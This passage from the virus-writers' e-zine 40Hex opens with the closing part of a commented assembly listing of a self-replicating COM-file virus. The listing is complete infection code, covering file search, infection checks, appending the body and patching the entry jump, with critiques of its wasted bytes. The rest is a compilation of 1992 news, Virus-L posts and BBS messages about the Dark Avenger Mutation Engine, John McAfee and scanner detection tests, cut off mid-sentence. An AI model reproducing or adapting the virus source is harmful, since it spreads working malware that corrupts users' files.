  770.                 je      findencryptval
  771.                 mov     [si+offset encryptval],dx
  772. foundencryptionvalue:
  773.                 mov     bp,[si+offset oldjmp]   ; Set up bp for
  774.                 add     bp,103h                 ; jmp later
  775.                 lea     dx,[si+filemask]        ; '*.COM',0
  776.                 xor     cx,cx                   ; Attributes
  777.                 mov     ah,4Eh                  ; Find first
  778. tryanother:
  779.                 int     21h
  780.                 jc      quit_virus              ; If none found, exit
  781.  
  782.                 mov     ax,3D02h                ; Open read/write
  783.                 mov     dx,9Eh                  ; In default DTA
  784.                 int     21h
  785.  
  786.                 mov     cx,3
  787.                 mov     bx,ax                   ; Swap file handle register
  788.                 lea     dx,[si+offset buffer]
  789.                 mov     di,dx
  790.                 call    read                    ; Read 3 bytes
  791.                 cmp     byte ptr [di],0E9h      ; Is it a jmp?
  792.                 je      infect
  793. findnext:
  794.                 mov     ah,4Fh                  ; If not, find next
  795.                 jmp     short tryanother
  796. infect:
  797.                 mov     ax,4200h                ; Move file pointer
  798.                 mov     dx,[di+1]               ; to jmp location
  799.                 mov     [si+offset oldjmp],dx   ; and save old jmp
  800.                 xor     cx,cx                   ; location
  801.                 call    int21h
  802.                 jmp     short skipcheckinf
  803. ; Once again, we meet an infamous MASM-NOP.
  804.                 nop
  805. ; I don't understand why checkinf is implemented as a procedure as
  806. ; it is executed but once.  It is a waste of code space to do such
  807. ; a thing. The ret and call are both extra, wasting four bytes. An
  808. ; additional three bytes were wasted on the JMP skipping checkinf.
  809. ; In a program called "Tiny," a wasted seven bytes is rather large
  810. ; and should not exist.  I have written a virus of half the length
  811. ; of this virus which is a generic COM infector. There is just too
  812. ; too much waste in this program.
  813. checkinf:
  814.                 cmp     word ptr [di],990h      ; Is it already
  815.                 je      findnext                ; infected?
  816. ; The je statement above presents another problem. It leaves stuff
  817. ; on the stack from the call.  This is, once again, not a critical
  818. ; error but nevertheless it is extremely sloppy behavior.
  819.                 xor     dx,dx
  820.                 xor     cx,cx
  821.                 mov     ax,4202h
  822.                 call    int21h                  ; Goto end of file
  823.                 ret
  824. skipcheckinf:
  825.                 mov     cx,2
  826.                 mov     dx,di
  827.                 call    read                    ; read 2 bytes
  828.                 call    checkinf
  829. ; The next check is extraneous.  No COM file is larger than 65,535
  830. ; bytes before infection simply because it is "illegal."  Yet ano-
  831. ; ther waste of code.  Even if one were to use this useless check,
  832. ; it should be implemented, to save space, as or dx, dx.
  833.                 cmp     dx,0                    ; Check if too big
  834.                 jne     findnext
  835.  
  836.                 cmp     ah,0FEh                 ; Check again if too big
  837.                 jae     findnext
  838.                 mov     [si+storejmp],ax        ; Save new jmp
  839.                 call    writerest               ;     location
  840.                 mov     ax,4200h                ; Go to offset
  841.                 mov     dx,1                    ; 1 in the file
  842.                 xor     cx,cx
  843.                 call    int21h
  844.  
  845.                 mov     ah,40h                  ; and write the new
  846.                 mov     cx,2                    ; jmp location
  847.                 lea     dx,[si+storejmp]
  848.                 call    int21h
  849. ; I think it is quite obvious that the next line is pointless.  It
  850. ; is a truly moronic waste of two bytes.
  851.                 jc      closefile
  852. closefile:
  853.                 mov     ah,3Eh                  ; Close the file
  854.                 call    int21h
  855. quit_virus:
  856.                 call    restorepsp
  857.                 jmp     bp
  858.  
  859. read:
  860.                 mov     ah,3Fh                  ; Read file
  861. ; I do not understand why all the int 21h calls are done with this
  862. ; procedure.  It is a waste of space. A normal int 21h call is two
  863. ; bytes long while it's three bytes just to call this procedure!
  864. int21h:
  865.                 int     21h
  866.                 ret
  867.  
  868.                 db      'Made in England'
  869.  
  870. ; Note: The comments for savepsp also apply to restorepsp.
  871.  
  872. ; This code could have easily been changed to a set active DTA INT
  873. ; 21h call (AH = 1Ah).  It would have saved many, many bytes.
  874.  
  875. savepsp:
  876.                 mov     di,0
  877. ; The following is a bug.  It should be
  878. ;       mov cx, 50h
  879. ; since the author decided to use words instead of bytes.
  880.                 mov     cx,100h
  881.                 push    si
  882. ; The loop below is dumb.  A simple rep movsw statement would have
  883. ; sufficed.  Instead, countless bytes are wasted on the loop.
  884. storebytes:
  885.                 mov     ax,[di]
  886.                 mov     word ptr [si+pspstore],ax
  887.                 add     si,2
  888.                 add     di,2
  889.                 loop    storebytes
  890.                 pop     si
  891.                 ret
  892.  
  893. restorepsp:
  894.                 mov     di,0
  895.                 mov     cx,100h                 ; Restore 200h bytes
  896.                 push    si
  897. restorebytes:
  898.                 mov     ax,word ptr [si+pspstore]
  899.                 mov     [di],ax
  900.                 add     si,2
  901.                 add     di,2
  902.                 loop    restorebytes
  903.                 pop     si
  904.                 ret
  905.  
  906. oldjmp          dw      0
  907. filemask        db      '*.COM',0
  908. idontknow1      db      66h                     ; Waste of one byte
  909. buffer          db      00h, 00h, 01h           ; Waste of three bytes
  910. storejmp        dw      0                       ; Waste of two bytes
  911. ; endvirus should be before idontknow1, thereby saving six bytes.
  912. endvirus:
  913. idontknow2      db      ?, ?
  914. pspstore        db      200 dup (?)             ; Should actually be
  915. idontknow3      db      2ch dup (?)             ; 100h bytes long.
  916. veryend:                                        ; End of encryption
  917. muttiny         ends
  918.                 end     start
  919.  
  920. 40Hex Number 7 Volume 2 Issue 3                                       File 005
  921.  
  922.     Well, by far the most incredible creation in the virus community that
  923. has surfaced is the MtE.  We aren't going to go into details about it, but
  924. we are definately going to give you as much news as we have collected.
  925.  
  926. In this file:
  927.  
  928. Article 1:   A note from Vesselin Bontchev
  929. Article 2:   Steve Gibson tells us how to avoid polymorphic viruses
  930. Article 3:   An article from Newsday about McAfee
  931. Article 4:   NIST Expert Warns Feds to Find Better Ways to Head Off Viruses
  932. Article 5:   Some messages posted on Smartnet about MtE
  933.  
  934.  
  935. <<<<<<<<<<
  936. Article 1:
  937. <<<<<<<<<<
  938.  
  939. ====From the Virus-L Digest via NIST=====
  940. Date:    10 Feb 92 20:40:23 +0000
  941. >From:    bontchev fbihh.informatik.uni-hamburg.de (Vesselin Bontchev)
  942. Subject: Re: DAV/Sourcer/Rape (PC)
  943.  
  944. RUTSTEIN HWS.BITNET writes:
  945.  
  946. > First, has anyone heard about Dark Avenger's latest?  I got a report
  947. > secondhand last week that he'd come up with a new gem...I believe the
  948. > report came from a researcher in the UK.  Fridrik/Vesselin/others, can
  949. > you confirm/deny this report?
  950.  
  951. Yeah, I can confirm it... :-( And it is a first-hand information,
  952. since I have it. The long-rumored Mutating Engine is real and is
  953. circulated to several virus exchange BBSes... :-(( The bad news is
  954. that the damn thing really mutates, no kidding! It comes as an OBJ
  955. file, which is supposed to be linked to any virus, with a detailed
  956. do-it-yourself guide, and with a demo virus. The demo virus is in
  957. source, but the source of the Mutating Engine (called MtE) is not
  958. provided. According to the docs, what we have is version 0.90-beta of
  959. the MtE, but version 0.91 is also known to exist... I'm wondering what
  960. will be implemented more in version 1.00... :-(((
  961.  
  962. The damn thing is really difficult to crack! I mean, it contains no
  963. encryption or anti-debugging and anti-disassembling thechniques, but
  964. it mutates too well... I have observed changing of encryption
  965. algorithms, random bytes padding, usage of different ways to express
  966. one and the same algorithm (yeah, that's right - different ways, not
  967. just modifying the opcodes and inserting do-nothing instructions)...
  968. The currently most mutating virus (V2P6Z) is a toy compared to it...
  969.  
  970. The worst of all is that just anybody can sit and use it to create a
  971. virus. Well, some experience in assembly language programming is
  972. needed, so the kids from RABID, NukE, and the other punk virus writing
  973. groups that use to write overwriting viruses in high-level languages
  974. will have a little bit of trouble to learn how to use it... But a very
  975. little bit!
  976.  
  977. Currently there are only two viruses, which use the MtE. The first is
  978. the demo virus in the package (a silly, non-resident, COM file
  979. infector, infects only the files in the current directory), and a
  980. virus, called Pogue, which has been available on some VX BBSes in the
  981. USA. McAfee's SCAN 86-B claims to be able to detect the Pogue virus.
  982. Unfortunately, I haven't had the time to verify this (I recieved the
  983. virus just two days ago). There are reports that in fact not all
  984. possible variants of the virus are detected. SCAN 86-B DOES NOT detect
  985. the MtE for sure - I tested it on the demo virus supplied with the
  986. package.
  987.  
  988. As a conclusion, don't panic. Currently there are only two viruses,
  989. using the MtE and both are too silly to pose a serious threat. Copies
  990. of the MtE have been provided to several anti-virus researchers (no,
  991. don't write me to ask for a copy, you won't get one), including McAfee
  992. Associates, Fridrik Skulason, Dr. Solomon, etc., so there are a lot of
  993. people working right now on the problem. The good news is that once we
  994. learn to recognize the MtE, we'll be able to detect -any- new viruses
  995. that are using it.
  996.  
  997. Oh, yes, just out of interest. The whole package comes in a neat ZIP
  998. archive, with -AV code for "CrazySoft, Inc.". The Bulgarian hackers
  999. have demonstrated again that the -AV authenticity verification in
  1000. PKZIP is just crap, so PLEASE DO NOT RELY ON IT!
  1001.  
  1002.  
  1003. <<<<<<<<<<
  1004. Article 2:
  1005. <<<<<<<<<<
  1006.  
  1007. From InfoWorld Magazine
  1008. Tech Talk
  1009. by Steve Gibson
  1010.  
  1011. AT LAST, HOW TO PROTECT YOURSELF FROM POLYMORPHIC VIRUSES
  1012.  
  1013.   My past two columns concerning the threat presented by polymorphic
  1014. viruses triggered an informative conversation with the industry's
  1015. chief virus researcher, John McAfee. During that conversation I
  1016. learned that things are even worse than I'd supposed.
  1017.   It turns out that the "Dark Avenger" bulletin board system, which
  1018. disseminates virus code, has recently published source code for the
  1019. Dark Avenger Mutation Engine. The Mutation Engine is nothing less than
  1020. a first-class code kernel that can be tacked onto any existing or
  1021. future virus to turn it into a nearly impossible to detect
  1022. self-encrypting virus.
  1023.   My examination of a sample virus encrypted by the Mutation Engine
  1024. provided by McAfee revealed alarming capabilities. Not only do the
  1025. Dark Avenger Mutation Engine viruses employ all of the capabilities I
  1026. outlined in last week's column, but they also use a sophisticated
  1027. reversible encryption algorithm generator.
  1028.   The Mutation Engine uses a meta-language-driven algorithm generator
  1029. that allows it to create an infinite variety of completely original
  1030. encryption algorithms. The resulting unique algorithms are then salted
  1031. with superfluous instructions, resulting in decryption algorithms
  1032. varying from 5 to 200 bytes long.
  1033.   Because McAfee has already received many otherwise known viruses
  1034. that are now encapsulated with the Mutation Engine's polymorphic
  1035. encryption, it's clear that viruses of this new breed are now
  1036. traveling among us.
  1037.   It is clear that the game is forever changed; the sophistication of
  1038. the Mutation Engine is amazing and staggering. Simple pattern-matching
  1039. virus scanners will still reliably detect the several thousand
  1040. well-known viruses; however, these scanners are completely incapable
  1041. of detecting any of the growing number of viruses now being cloaked by
  1042. the Dark Avenger Mutation Engine.
  1043.   So what can we ultimately do to thwart current and future software
  1044. viruses? After brainstorming through the problem with some of our
  1045. industry's brightest developers and systems architects, I've reached
  1046. several conclusions.
  1047.   First, scanning for known viruses within executable program code is
  1048. fundamentally a dead end. It's the only solution we have for the
  1049. moment, but the detectors can only find the viruses they are aware of,
  1050. and new developments such as the Mutation Engine render even these
  1051. measures obsolete.
  1052.   Second, detecting the reproductive proclivities of viruses on the
  1053. prowl is prone to frequent false alarms and ultimately complete
  1054. avoidance. With time the viruses will simply circumvent the detectors,
  1055. at which time the detectors will only misfire for self-modifying
  1056. benign programs.
  1057.   Third, the Achilles' heel of our current DOS-based PC is its
  1058. entirely unprotected nature. As long as executable programs (such as
  1059. benign and helpful system utilities) are able to freely and directly
  1060. access and alter the operating system and its file system, our
  1061. machines will be vulnerable to deliberate attack.
  1062.   So here's my recommendation.
  1063.   Only a next-generation protected-mode operating system can enforce
  1064. the levels of security required to provide complete viral immunity. By
  1065. marking files and code overlays as "read and execute only" and by
  1066. prohibiting the sorts of direct file system tampering performed by our
  1067. current crop of system utilities, such operating systems will be able
  1068. to provide their client programs with complete viral immunity.
  1069.   The final Achilles' heel of a protected-mode operating system is the
  1070. system boot process, before and during which it is still potentially
  1071. vulnerable. By changing the system ROM BIOS' boot priority to favor
  1072. hard disk over floppy, this last viral path can be closed and blocked
  1073. as well.
  1074.  
  1075. (Steve Gibson is the developer and publisher of SpinRite and
  1076. president of Gibson Research Corp., based in Irvine California....)
  1077.  
  1078.  
  1079. <<<<<<<<<<
  1080. Article 3:
  1081. <<<<<<<<<<
  1082.  
  1083. Date:    Mon, 06 Apr 92 14:18:09 -0400
  1084. >From:    Joseph Halloran <JHLQC%CUNYVM.BITNET@BITNET.CC.CMU.EDU>
  1085. Subject: NY Newsday Article on McAfee & Viruses
  1086.  
  1087.      (NOTE: The following article was published as a whole in the
  1088. April 5, 1992 edition of New York Newsday, page 68.  It is reprinted
  1089. below without the express consent of Joshua Quittner, New York Newsday,
  1090. or the Times-Mirror Company)
  1091.  
  1092.                         SOFTWARE HARD SELL
  1093.                         ------------------
  1094.           "Are computer viruses running rampant, or is
  1095.            John McAfee's antivirus campaign running amok?"
  1096.                                  -By Joshua Quittner, staff writer
  1097.  
  1098.     John McAfee is doing one of the things he does best: warning a
  1099. reporter about the perils of a new computer virus.
  1100.     "We're into the next major nightmare -- the Dark Avenger Mutating
  1101. Engine," McAfee says, ever calm in the face of calamity.  "It can
  1102. attach to any virus and make it mutate."  The ability to "mutate"
  1103. makes it virtually undetectable to antivirus software, he explains.
  1104.     "It's turning the virus world upside down."
  1105.     But wait.  This is John David McAfee, the man who once ran a service
  1106. that revolved around the curious premise that, if you paid him a member-
  1107. ship fee and tested HIV-negative, you could have AIDS-free sex with other
  1108. members for six months.  This is the man who jumped from biological
  1109. viruses to computer viruses and quickly became a flamboyant expert on the
  1110. new demi-plague, showing up at the scene of infected PCs in his Winnebago
  1111. "antivirus paramedic unit."
  1112.      And this is the same man who started something called the Computer
  1113. Virus Industry Association, and, as chairman, made national headlines
  1114. last month by saying that as many as _five million_ computers might be
  1115. infected with a virus named Michelangelo.
  1116.      The virus turned out to be a dud, in the opinion of many industry
  1117. experts.  But not before McAfee became a media magnet: In the weeks be-
  1118. fore March 6, when Michelangelo was supposed to erase the hard disks of
  1119. infected IBM and compatible PCs, he was featured by Reuters, the
  1120. Associated Press, USA Today, the Wall Street Journal, "MacNeil/Lehrer
  1121. News Hour," CNN, "Nightline," National Public Radio and "Today."
  1122.      What some news reports failed to point out, however, is that McAfee
  1123. is also the man who runs Santa Clara, Calif.-based McAfee Associates,
  1124. a leading manufacturer of antivirus software, and that he stood to
  1125. benefit from publicity about Michelangelo.  McAfee won't reveal sales,
  1126. but it seems clear they shot up during the two-week frenzy.
  1127.      "People kept saying I hyped this, I hyped this," said McAfee, who
  1128. still defends the notion that Michelangelo was widespread.  "I never
  1129. contacted the press -- they called me."
  1130.      McAfee's detractors say the Michelangelo scare was mainly hype and
  1131. media manipulation, a parade in which most of the floats were built by
  1132. McAfee.  They say McAfee helped drive the rush to buy antivirus soft-
  1133. ware -- with his products poised to sell the most -- while boosting the
  1134. profile of McAfee Associates, a company that recently received
  1135. $10 million from venture capitalists McAfee says are waiting to sell
  1136. stock publicly.
  1137.      And, critics say, while McAfee touts a recent evaluation that rated
  1138. his software alone as 100 percent effective in finding virtually every
  1139. known virus, he funded the evaluation and picked his competitors.
  1140.      "He does know the issue of viruses, no doubt about it," said Ken
  1141. Wasch, executive director of the 900-member Software Publishers Assoc-
  1142. iation.  "But his tactics are designed to sell _his_ software."
  1143.      McAfee says the media consistently misquoted him about how
  1144. widespread Michelangelo was.  And his company didn't profit from the
  1145. virus, he says, but actually suffered due to the free advice his staff
  1146. was dispensing.  "It does not benefit me in any way or shape or form
  1147. to exaggerate the virus problem."
  1148.     Even McAfee's detractors admit his programs do what they're supposed
  1149. to do: track down coding that's maliciously placed in software to make it
  1150. do anything from whistle "Yankee Doodle" to erase valuable data.
  1151.     His strongest distribution channel is shareware, a kind of software
  1152. honor system common on electronic bulletin boards.  PC users can download
  1153. the programs over phone lines and pay later if they find them useful.
  1154.     McAfee's programs are "probably the most popular shareware programs
  1155. of all time, second only to PKZIP," which compresses data, said George
  1156. Pulido, technical editor of Shareware Magazine.  He said McAfee's
  1157. programs have been copied by millions of people, although only about 10
  1158. percent of shareware users actually pay.
  1159.     A more reliable money-maker is corporate site licenses, where McAfee
  1160. is one of the three biggest players.  Michael Schirf, sales manager of
  1161. Jetic Inc., a Vienna, Va., company that is McAfee's sales agent for the
  1162. Mid-Atlantic region, claimed more than 300 of the Fortune 500 companies
  1163. have licensed his software, paying $3,250 to $20,000, depending on the
  1164. number of PCs.  During the Michelangelo scare, "you couldn't get through
  1165. to us at one point because of people asking about it and trying to get
  1166. it," Schirf said.
  1167.     Certainly, McAfee's software wasn't the only antivirus software
  1168. selling.  Fueled by giveaways of "special edition" programs that scanned
  1169. exclusively for the Michelangelo virus, sales of general antivirus
  1170. packages were a bonanza for everyone in the business, including Norton/
  1171. Symantec and Central Point Software, two other leading sellers.
  1172.     "Our sales of antivirus software were up 3,000 percent," said Tamese
  1173. Gribble, a spokesman for Egghead Software, the largest discount software
  1174. retailer in the country.  "We were absolutely swamped."
  1175.     Rod Turner, a Norton executive vice president, said antivirus sales
  1176. increased fivefold.  "We didn't make any product in advance," he said,
  1177. "so we were caught with our pants down."  Companies like Norton that
  1178. sell factory-shipped software couldn't ramp up quickly enough to take
  1179. full advantage of the situation.  But McAfee's software comes mostly
  1180. through electronic bulletin boards and sales agents, giving him a nearly
  1181. limitless capability to meet demand.  "I can supply as many copies of the
  1182. software as I have blank diskettes to put it on," Schirf said.
  1183.     The Michelangelo scare was also good for pay-by-the-hour on-line
  1184. information services such as Compuserve, which saw a huge increase in the
  1185. time users logged on looking for advice on Michelangelo.
  1186.     Indeed, a virus forum on Compuserve was hugely popular, with users
  1187. downloading antivirus programs, including McAfee's, 49,000 times that
  1188. week, Compuserve spokesman Dave Kishler said.  Compuserve made more than
  1189. $100,000 from the online time.
  1190.     McAfee makes an attractive industry spokesman.  Tall and lean, with a
  1191. mellifluous voice, he speaks in perfect sound bites -- an antidote to the
  1192. unquotably bland men who otherwise dominate the antivirus business.
  1193.     A mathematician who got into programming when he graduated from
  1194. Roanoke College, McAfee, 47, said he has held a dozen jobs, ranging from
  1195. work on a voice-recognition board for PCs to consulting for the Brazilian
  1196. national phone company in Rio de Janeiro.  His first mention in the media
  1197. was in connection with the American Association for Safe Sex Practices, a
  1198. Santa Clara club formed so that its members could engage in AIDS-free
  1199. sex.  For a $22 fee, members whose blood tested HIV-negative were given
  1200. cards certifying them AIDS-free, buttons saying "Play it Safe," and were
  1201. entered on McAfee's on-line data base.  Updates, every six months, cost
  1202. $7.
  1203.     Anyone who knows anything about AIDS knows a certificate that someone
  1204. is AIDS-free is good only until the person has sex with or shares an
  1205. intravenous needle with an infected person.
  1206.     When asked now about the safe-sex group, McAfee at first denied
  1207. anything but a passing affiliation: "I worked for those people as a con-
  1208. tractor," he said, adding, "It was not my company."  But later, when he
  1209. was reminded that both the San Diego Tribune and the San Francisco
  1210. Chronicle described him in feature stories as the entrepreneur who
  1211. started the organization ("I believe I am providing an environment
  1212. where people who are sexually active can feel more safe and secure,"
  1213. he told the Tribune in a March 9, 1987, story), McAfee sidestepped the
  1214. ownership question.  He said the group performed a valuable function,
  1215. maintaining a data base on AIDS and information about the disease.
  1216.     "I thought they were pretty well ahead of their time," he said,
  1217. quickly locating a 1987 newsletter put out by the group, which featured
  1218. articles such as "Kissing and AIDS" and "The Apparent Racial Bias of the
  1219. AIDS Virus."
  1220.     The association no longer exists.  "They came and went pretty fast,"
  1221. McAfee said, chuckling.
  1222.     McAfee got his first taste of computer viruses at around that time.
  1223. "It was an accident, like anything else in life," he recalled.  "I got
  1224. a copy of the Pakistani Brain.  I think I got it from one of the local
  1225. colleges.  It was the program of the year."  The program, reportedly
  1226. written by two Pakistani students trying to foil software pirates,
  1227. destroyed some PC data.
  1228.     By 1989, McAfee was a virus expert, selling the first antivirus
  1229. software and offering to make house calls with his Winnebago cum computer
  1230. lab.
  1231.     "John's antivirus unit is the first specially customized unit to wage
  1232. effective, on-the-spot counterattacks in the virus war," McAfee and a
  1233. co-author reported in "Computer Viruses, Worms, Data Diddlers, Killer
  1234. Programs, and Other Threats to Your System," their 1989 book.  "Event-
  1235. ually, there will be many such mobile search, capture and destroy anti-
  1236. virus paramedic units deployed around the world."
  1237.     He had also founded the Computer Virus Industry Association, with
  1238. himself as chairman.
  1239.     "The CVIA is nothing more than McAfee," said Wasch, of the Software
  1240. Publishers Association.  "I had a run-in with him three years ago about
  1241. that."  Wasch said he had been asked by other antivirus businesses to
  1242. look into McAfee's group after claims surfaced that he was railroading
  1243. companies into joining -- something McAfee vigorously denies.  Wasch
  1244. said he believes the assocation was a self-serving group that did
  1245. little more than support McAfee's business.
  1246.     "It would be like Microsoft creating the Windows Support Association
  1247. as a front to promote its Windows software," Wasch said.
  1248.     McAfee denies the CVIA is a front and said Wasch's group was
  1249. threatened by the creation of the virus association.  "They wanted to
  1250. take us over," he said.  In any event, he said, the association is now
  1251. managed by others and his involvement is minimal, adding, "It's more of
  1252. a nuisance to me."  But he does say the association is dependent on his
  1253. private business for much of its virus data.  "McAfee Associates has all
  1254. the numbers," he said.
  1255.     Detractors say McAfee now uses another association to hype his
  1256. programs.
  1257.     The National Computer Security Association released one of the few
  1258. ratings of antivirus software, with McAfee's program on top -- a
  1259. comparison he's quick to cite.  But that may be because he influenced
  1260. which software would be compared with his and how the tests were run,
  1261. said David Stang, who founded the for-profit association in Washington,
  1262. D.C., two years ago.  Stang recently left the association and started
  1263. a new one after a falling-out with McAfee over testing procedures.
  1264.     Stang said one of the assocation's functions was to "certify"
  1265. antivirus software -- to test and rate competing programs.  "It was his
  1266. [McAfee's] idea that we certify products," Stang said.  And when no
  1267. company rushed forward to pay $500 to have its software rated, McAfee
  1268. "sent me the products and the check and said 'go certify.'"
  1269.     McAfee says he spent thousands of dollars to evaluate some of his
  1270. competitors' programs.  In February, 1992, in fact, he paid for his own
  1271. and the other five programs to be certified.  His was ranked 100 percent
  1272. effective.  The others ranged from 44 percent to 88 percent effective.
  1273.     "If your product competes with mine, I'd like for those customers of
  1274. mine to know that your product isn't as good as mine," he said.  But in
  1275. the February certification, notably absent were McAfee's biggest
  1276. competitors: Dr. Solomon's ToolKit and Skulason's F-Prot.
  1277.     "I've got 75 competitors.  I pick the ones who are going to give me
  1278. the most trouble that month," McAfee explained.
  1279.     The February evaluation was actually a second, and more favorable
  1280. test, that Stang says he performed at McAfee's request.  Stang said
  1281. McAfee was dissatisfied with the assocation's methods -- it tested the
  1282. software against a "library" of viruses that McAfee thought wasn't
  1283. comprehensive enough.  So Stang said he agreed to use a new library that
  1284. he claims was built on viruses McAfee found and supplied.  Scores for
  1285. McAfee's program rose while some others dropped sharply.  McAfee said
  1286. Stang's virus library was incomplete and his testing methods "wishy-
  1287. washy," and he defended the new library's independence.
  1288.     "This is not something that anybody, let alone me, could mess with,"
  1289. said McAfee.  "You can't jimmy these scores.  You can't say that McAfee
  1290. buys more certifications, therefore he'll get a better score, because
  1291. other vendors would complain."
  1292.     "They wouldn't let me get away with it."
  1293.  
  1294. [John McAfee]
  1295.  
  1296.  
  1297. <<<<<<<<<<
  1298. Article 4:
  1299. <<<<<<<<<<
  1300.  
  1301. From: Government Computer News
  1302.       March 30, 1992
  1303. By:   Kevin Power, GCN staff
  1304.  
  1305. "NIST Expert Warns Feds to Find Better Ways to Head Off Viruses"
  1306.  
  1307. BALTIMORE - In the wake of the Michelangelo scare, a top security
  1308. expert with the National Institute of Standards and Technology has
  1309. warned agencies against relying too heavily on virus scanning
  1310. software.
  1311.   Anti-virus software ia a useful detection tool, but it often takes
  1312. too long to use and does not solve fundamental problems, said Dennis
  1313. Steinhauer, manager of the computer security evaluation group at
  1314. NIST's Computer Systems Laboratory. He spoke at the March meeting of
  1315. the National Computer System Security and Privacy Advisory Board.
  1316.   Steinauer said the fallout from Michelangelo was minimal, thanks to
  1317. early detection, plenty of publicity and governmentwide [sic]
  1318. warnings. But he also stressed that vendors and agencies need more
  1319. effective methods of protecting against viruses in newly acquired
  1320. hardware and software.
  1321.   "What were believed to be reliable channels may no longer be," he
  1322. said. "There's a lot that needs to be done to make sure that users
  1323. receive better assurances that products are not contaminated. This
  1324. incident may have undermined consumer confidence."
  1325.   Steinhauer said one solution would be to build hardware and
  1326. operating systems that are less vulnerable.
  1327.   For example, vendors can isolate the boot sector of a hard drive to
  1328. guard against infection. But agencies tend to shy away from such
  1329. serious measures, because they force managers make hard choices about
  1330. system functionality and user requirements, Steinhauer said.
  1331.   "We have the technology to do what is necessary. But we don't know
  1332. what the price is to the user," he said. "The question is whether I'm
  1333. willing to have my machine hobbled for protection. It's similar to
  1334. installing a governor on a car to limit a vehicle's speed to 55 miles
  1335. per hour."
  1336.    Agencies still are surveying for possible damage inflicted by
  1337. Michelangelo, Steinhauer said. But he said the incident showed NIST
  1338. officials that more agency computer emergency response teams (CERTs)
  1339. are needed.
  1340.   CERTs, established in some agencies for just such attacks, worked
  1341. well, Steinhauer said. The teams coordinate their work through the
  1342. Forum on Incident Response and Security Teams, or FIRST.
  1343.   But Steinhauer said it was evident that not enough agencies have
  1344. established CERTs.
  1345.   Internal agency security teams did their jobs, but the government
  1346. needs a better way to distribute security advisories and handle
  1347. less-publicized emergencies, Steinhauer said.
  1348.  
  1349.  
  1350. <<<<<<<<<<<
  1351. Article 5A:
  1352. <<<<<<<<<<<
  1353.  
  1354. Date: 05-29-92 (21:06)              Number: 3019 of 3059 (Echo)
  1355.   To: BILL LAMBDIN                  Refer#: NONE
  1356. From: CHARLIE MOORE                   Read: NO
  1357. Subj: POLYMORPHIC VIRUSES   1/2     Status: PUBLIC MESSAGE
  1358. Conf: VIRUS (52)                 Read Type: GENERAL (+)
  1359.  
  1360. Note: This message is a repost -- I tied up the first by failing
  1361.       to set the lines per message < 99.  My apologies to all.
  1362.  
  1363. Bill, regarding how McAfee's Scan detects the DAME you stated:
  1364.  
  1365. BL>Trust me. It is still string searches. McAfee finds those three
  1366. BL>bytes, and then follows the steps to decrypt the virus to memory. If
  1367. BL>it continues long enough to possitively identify the DAME, Scan
  1368. BL>reports the virus, and looks at the next
  1369.  
  1370. Now, being in the security business, and probably a bit paranoid as a
  1371. result, when I see or hear "Trust me", I get a little queezy. I don't
  1372. know the source of your information Bill (perhaps you'll let us know)
  1373. but I don't think it's correct.
  1374.  
  1375. On May 11, 1992, McAfee Associates was featured in a news release about
  1376. the DAME -- Dark Avenger Mutation Engine No Threat to Protected PCs.
  1377. Below is a quote from this release that does not track with what you're
  1378. telling me (BTW, it was McAfee Associates who sent me the news
  1379. release -- did not see it until today though).
  1380.  
  1381.      The Mutation Engine, however, uses a special algorithm to
  1382.      generate a completely variable decryption routine each time.
  1383.      "The result is that no three bytes remain constant from one
  1384.      sample to the next," said Igor Grebert, senior programmer at
  1385.      McAfee Associates.  "This makes detection using conventional
  1386.      string-matching techniques impossible."
  1387.  
  1388. Now, in my last message to you I stated that I understood three bytes
  1389. did remain constant (I got this info from two sources; Hoffman's Vsum204
  1390. and tech support at Fifth Generation Systems -- I now suspect Hofman is
  1391. wrong and tech support at Fifth Generation Systems was probably just
  1392. parroting Hoffman's Vsum.  As I've stated before, solid technical
  1393. information about the DAME is limited!
  1394.  
  1395. Today, I called Igor Grebert at McAfee Associates to verify that he was
  1396. properly quoted in the news release -- he was.  Igor would not tell me
  1397. in detail how McAfee's Scan detects the DAME; however, he did assure me
  1398. that searching for a three-byte string was not the technique used.
  1399.  
  1400. BL>CM> I don't think anyone, not even the Dark Avenger himself, can put an
  1401. BL>CM> accurate number on the possible virus mutations generated by the
  1402.  
  1403. BL>Again trust me. It is mathmatics pure and simple.
  1404.  
  1405. BL>the DAME randomly picks a 32 bit seed. Each bit will either be a 1 or 0.
  1406. BL>... according to my scientific calculator, or 4.3 billion possible
  1407. BL>combinations in english.
  1408. BL>If the numbers above ring bells, it is binary plain and simple.
  1409.  
  1410. Well Bill, I'm certainly not going to argue with your calculator. :-)
  1411.  
  1412. However, my point was, and remains, that the possible numbers associated
  1413. with a random seed are not necessarily equal to the possible number of
  1414. mutations the DAME is capable of generating.  Now, as I stated to you
  1415. in my original message, solid information on the DAME (in particular,
  1416. how it works interactively with its various segments of code) is
  1417. limited.  Even the most experienced and best qualified researchers
  1418. often don't agree on certain aspects and more than a few questions
  1419. remain about the limits of variability and related issues.
  1420.  
  1421. Below is the latest and best info I've seen that gives some insight
  1422. into the complexity here.  The message was posted on the Internet's
  1423. Virus-L Conference; its author, Vesselin Bontchev, is one of the
  1424. most highly respected virus researchers in the world.
  1425.  
  1426. Date:    21 May 92 22:11:43 +0000
  1427. From:  bontchev@fbihh.informatik.uni-hamburg.de (Vesselin Bontchev)
  1428. Subject:  Detecting the MtE (PC)
  1429.  
  1430. Almost half an year has passed since the Dark Avenger's Mutating
  1431. Engine (MtE) has been made available to the anti-virus researchers.
  1432. Currently several scanners claim to detect it with "100 %
  1433. reliability". Do they really succeed however?
  1434.  
  1435. We decided to run some tests at the VTC. The tests are preliminary and
  1436. were performed by Morton Swimmer. The Fear virus was used (a minor
  1437. Dedicated patch) to generate 9,471 infected files. The files were
  1438. generated by the natural infection process - the reason was to also test
  1439. the randomness of the random number generator supplied with the MtE. Of
  1440. those 9,471 infected examples 3 turned out to be duplicates, which
  1441. yelded to 9,468 different instances of the virus. It also means that the
  1442. random number generator is rather good...
  1443.  
  1444. Those examples filled a 40 Mb disk (which didn't permit us to generate
  1445. 10,000 different examples, as we wished initially). We wanted to keep
  1446. them all, in order to be able to reproduce the tests.
  1447.  
  1448. The three scanners were run on those virus samples. The scanners were
  1449. the three that showed best detection rate on our collection, merely
  1450. Dr. Solomon's FindVirus (version 4.15 with drivers from May 15, 1992),
  1451. Fridrik Skulason's F-Prot 2.03a, and McAfee's SCAN 89-B.
  1452.  
  1453. All the three scanners failed the test, each in a different way.
  1454.  
  1455. FindVirus showed the worst results. It did not detect 744 virus
  1456. samples (7.86 %). F-Prot did not detect 13 examples (0.14 %). SCAN did
  1457. not detect 4 examples (0.04 %). SCAN shows the best detection rate in
